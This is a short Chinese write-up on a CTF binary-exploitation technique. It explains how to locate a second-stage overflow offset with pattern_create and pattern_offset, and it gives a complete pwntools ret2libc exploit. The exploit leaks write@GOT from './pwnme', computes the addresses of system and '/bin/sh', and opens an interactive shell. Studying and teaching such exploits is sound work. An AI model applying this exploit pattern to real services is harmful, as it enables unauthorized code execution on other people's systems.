第二次payload,定位经常和第一次不一样导致漏洞利用不成功。
一直都是手工分析,有些很难发现的原因导致一直分析不出来,还很浪费时间。
最后总结了一种用脚本判断第二次payload地址的方法。
核心代码:
p=process()
context.log_level = 'debug'
gdb.attach(p)
payload1=.......
......
payload2="一串字符串"+返回地址+函数参数1+2+3+。。。。。(一串字符串用pattern_create生成)
在attach中会报错,用patter_offset计算偏移,得到第二次的溢出位置
from pwn import *
local = True
log = True
if local:
io = process('./pwnme')
else :
io = remote('ip' , 'port')
context.log_level = 'debug'
write_got = 0x804A01c
main = 0x804847D
write_plt = 0x8048370
payload1 = 'a'*20+ p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvuntil('the flag:\n')
#gdb.attach(io)
io.sendline(payload1)
libc = ELF('./libc.so.6')
write_got_addr = u32(io.recv(4))
print hex(write_got_addr)
system_add = write_got_addr - libc.symbols['write'] + libc.symbols['system']
print hex(system_add)
binsh_add = write_got_addr - libc.symbols['write'] + next(libc.search('/bin/sh'))
print "binshadd:" +hex(binsh_add)
payload2 = 'a'*20+ p32(system_add) + p32(0) + p32(binsh_add)
io.sendline(payload2)
io.interactive()